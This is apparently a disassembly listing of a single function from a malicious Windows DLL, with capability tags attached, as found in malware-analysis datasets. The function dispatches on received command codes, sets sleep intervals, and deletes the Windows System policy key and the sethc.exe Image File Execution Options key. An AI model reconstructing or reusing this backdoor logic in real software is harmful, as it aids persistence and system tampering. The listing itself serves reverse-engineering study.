Function at 0x10002760
Capabilities:
Access peb ldr_data
Delete registry key

Disassembly:
push 0xffffffffffffffff
push 0x1000d426
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x124
mov al, byte [esp + 0x23]
push ebx
xor ebx, ebx
push esi
push edi
mov esi, ecx
mov byte [esp + 0x1c], al
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x28], ebx
mov cl, byte [esp + 0x2f]
mov dword [esp + 0x138], ebx
mov byte [esp + 0xc], cl
mov dword [esp + 0x10], ebx
mov dword [esp + 0x14], ebx
mov dword [esp + 0x18], ebx
mov byte [esp + 0x138], 1
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x31]
mov byte [esp + 0x30], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push ebx
stosb byte es:[edi], al
call fcn.10005ac5
push eax
call fcn.10005a96
add esp, 8
push 0x10013aac
call fcn.10005aa3
cdq
mov ecx, 0xff
idiv ecx
lea eax, [esp + 0x34]
and edx, ecx
push edx
mov edx, dword [esp + 0x148]
push edx
push str._s_02x._s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
lea ecx, [esp + 0xc]
lea edx, [esp + 0x1c]
lea eax, [esp + 0x30]
push ebx
push ecx
push edx
push eax
push 1
mov ecx, esi
call fcn.10002130
cmp eax, ebx
jne 0x10002894
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x10]
push ecx
push edx
lea ecx, [esp + 0x14]
mov byte [esp + 0x140], bl
call fcn.100034b0
mov eax, dword [esp + 0x10]
push eax
call fcn.10005209
mov ecx, dword [esp + 0x28]
mov edx, dword [esp + 0x24]
add esp, 4
mov dword [esp + 0x10], ebx
mov dword [esp + 0x14], ebx
mov dword [esp + 0x18], ebx
push ecx
push edx
lea ecx, [esp + 0x24]
mov dword [esp + 0x140], 0xffffffff
call fcn.100034b0
mov eax, dword [esp + 0x20]
push eax
call fcn.10005209
add esp, 4
xor eax, eax
jmp 0x10002a0e
mov eax, dword [esp + 0x20]
cmp eax, ebx
je 0x100029e5
mov ecx, dword [esp + 0x24]
sub ecx, eax
and ecx, 0xfffffffc
cmp ecx, 4
jne 0x100029e5
mov eax, dword [eax]
cmp eax, 0x8070807
jne 0x100028c3
mov dword [0x10013a68], ebx
jmp 0x1000293f
cmp eax, 0x1070807
jne 0x100028d6
mov dword [0x10013a68], 1
jmp 0x1000293f
cmp eax, 0x2070807
jne 0x100028e9
mov dword [0x10013a68], 2
jmp 0x1000293f
cmp eax, 0x3070807
jne 0x100028fc
mov dword [0x10013a68], 3
jmp 0x1000293f
cmp eax, 0x9080908
jne 0x1000290c
mov ecx, esi
call fcn.10002740
jmp 0x1000293f
cmp eax, 0x1020101
jne 0x1000291a
call fcn.10001220
jmp 0x1000293f
cmp eax, 0x2020101
jne 0x10002933
push str.SoftwarePoliciesMicrosoftWindowsSystem
push 0x80000001
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
jmp 0x1000293f
cmp eax, 0x3020101
jne 0x1000299f
call fcn.100011a0
mov edx, dword [esp + 0x14]
mov eax, dword [esp + 0x10]
push edx
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x140], bl
call fcn.100034b0
mov ecx, dword [esp + 0x10]
push ecx
call fcn.10005209
mov edx, dword [esp + 0x28]
mov eax, dword [esp + 0x24]
add esp, 4
lea ecx, [esp + 0x1c]
mov dword [esp + 0x10], ebx
mov dword [esp + 0x14], ebx
push edx
push eax
mov dword [esp + 0x20], ebx
mov dword [esp + 0x140], 0xffffffff
call fcn.100034b0
mov ecx, dword [esp + 0x20]
push ecx
call fcn.10005209
add esp, 4
jmp 0x10002a09
cmp eax, 0x4020101
jne 0x100029ad
call fcn.10001320
jmp 0x100029e5
cmp eax, 0x5020101
jne 0x100029c6
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionImage_File_Execution_Options_sethc.exe
push 0x80000002
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
jmp 0x100029e5
cmp eax, 0x6020101
jne 0x100029d4
call fcn.10002ac0
jmp 0x100029e5
cmp eax, 0x1030101
jne 0x10002a28
push 1
call fcn.10001100
add esp, 4
lea ecx, [esp + 0xc]
mov byte [esp + 0x138], bl
call fcn.10003480
lea ecx, [esp + 0x1c]
mov dword [esp + 0x138], 0xffffffff
call fcn.10003480
mov eax, 1
mov ecx, dword [esp + 0x130]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x130
ret 4
cmp eax, 0x2030101
jne 0x10002a33
push 5
jmp 0x100029dd
cmp eax, 0x3030101
jne 0x10002a3e
push 0x1e
jmp 0x100029dd
cmp eax, 0x4030101
jne 0x10002a49
push 0x3c
jmp 0x100029dd
cmp eax, 0x5030101
jne 0x10002a54
push 0x78
jmp 0x100029dd
cmp eax, 0x6030101
jne 0x10002a65
push 0x12c
jmp 0x100029dd
cmp eax, 0x7030101
jne 0x10002a76
push 0x258
jmp 0x100029dd
cmp eax, 0x8030101
jne 0x10002a87
push 0x5a0
jmp 0x100029dd
lea ecx, [esp + 0xc]
mov byte [esp + 0x138], bl
call fcn.10003480
lea ecx, [esp + 0x1c]
mov dword [esp + 0x138], 0xffffffff
call fcn.10003480
xor eax, eax
jmp 0x10002a0e